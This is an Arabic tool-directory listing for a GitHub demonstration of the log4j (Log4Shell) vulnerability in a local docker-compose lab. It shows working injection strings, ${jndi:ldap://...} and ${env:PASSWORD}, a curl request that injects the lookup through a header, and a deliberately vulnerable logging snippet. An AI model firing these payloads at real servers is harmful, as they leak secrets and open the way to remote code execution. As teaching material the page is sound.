Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j-cve-2021-44228-sample — إعداد عينة لـ docker-compose لإظهار كيفية عمل هذا الاستغلال | Kitploit
أدوات/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

إعداد عينة لـ docker-compose لإظهار كيفية عمل هذا الاستغلال

عرض المستودع
2منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مثال لاستغلال ثغرة log4j

يحتوي هذا المستودع على نموذج عملي لإساءة استخدام ثغرة log4j الأخيرة. لا يقوم بتنفيذ تعليمات برمجية عن بُعد فعليًا، لكنه يوضح لك سهولة قيام جهة ضارة بجعل تطبيق ضعيف يتصل بخادم ldap خاص بها.

يستخدم هذا النموذج التطبيق الضعيف الممتاز log4j الذي أنشأه christophetd: https://github.com/christophetd/log4shell-vulnerable-app

شرح

تستغل هذه الثغرة وظيفة lookup في log4j، خاصة jndi التي تسمح لـ log4j بإجراء عمليات بحث من خوادم خارجية للحصول على بيانات لإدخالها. يمكن استغلال ذلك لفعل أي شيء بدءًا من تسجيل المتغيرات الحساسة في البيئة إلى تنفيذ تعليمات برمجية عن بُعد.

يتم إجراء عمليات البحث لأي نص محاط بـ ${} عند استدعاء المسجل (logger). على سبيل المثال،

root@kitploit:~
${jndi:ldap://someldapserver:1389/o=example}

سيقوم بإجراء بحث على خادم LDAP هذا باستعلام معين وإخراج النتيجة.

مثال أبسط لا يستخدم jndi، لكنه لا يزال خطيرًا:

root@kitploit:~
${env:PASSWORD}

سيؤدي هذا إلى طباعة محتويات متغير البيئة هذا في السجلات. يمكن لأي شخص لديه حق الوصول إلى هذه السجلات استخراج بيانات حساسة من التطبيق.

كود log4j

الكود في log4j الذي يسمح بإساءة استخدام هذا الاستغلال بسيط جدًا. كل ما عليك فعله هو استدعاء المسجل لتسجيل خاصية طلب معينة دون تنظيف. على سبيل المثال، يمكنك تسجيل محتويات User-Agent.

root@kitploit:~
...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

استخدام هذا المثال

أولاً، قم ببناء خادم ldap المحلي:

root@kitploit:~
docker build -t ldapnode .

بعد البناء، قم بتشغيل الحزمة بأكملها عن طريق تشغيل:

root@kitploit:~
docker-compose up

ثم يمكنك إجراء طلب إلى التطبيق، باستخدام الرأس x-api-version لحقن عملية البحث:

root@kitploit:~
curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

باستخدام هذا الطلب، سترى في سجلات docker-compose أن خادم ldap قد تم استدعاؤه:

root@kitploit:~
bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

ما يجب فعله إذا تأثرت

يرجى الاطلاع على هذه الوثائق لمعرفة مسارات الحل.

تنزيل الأداة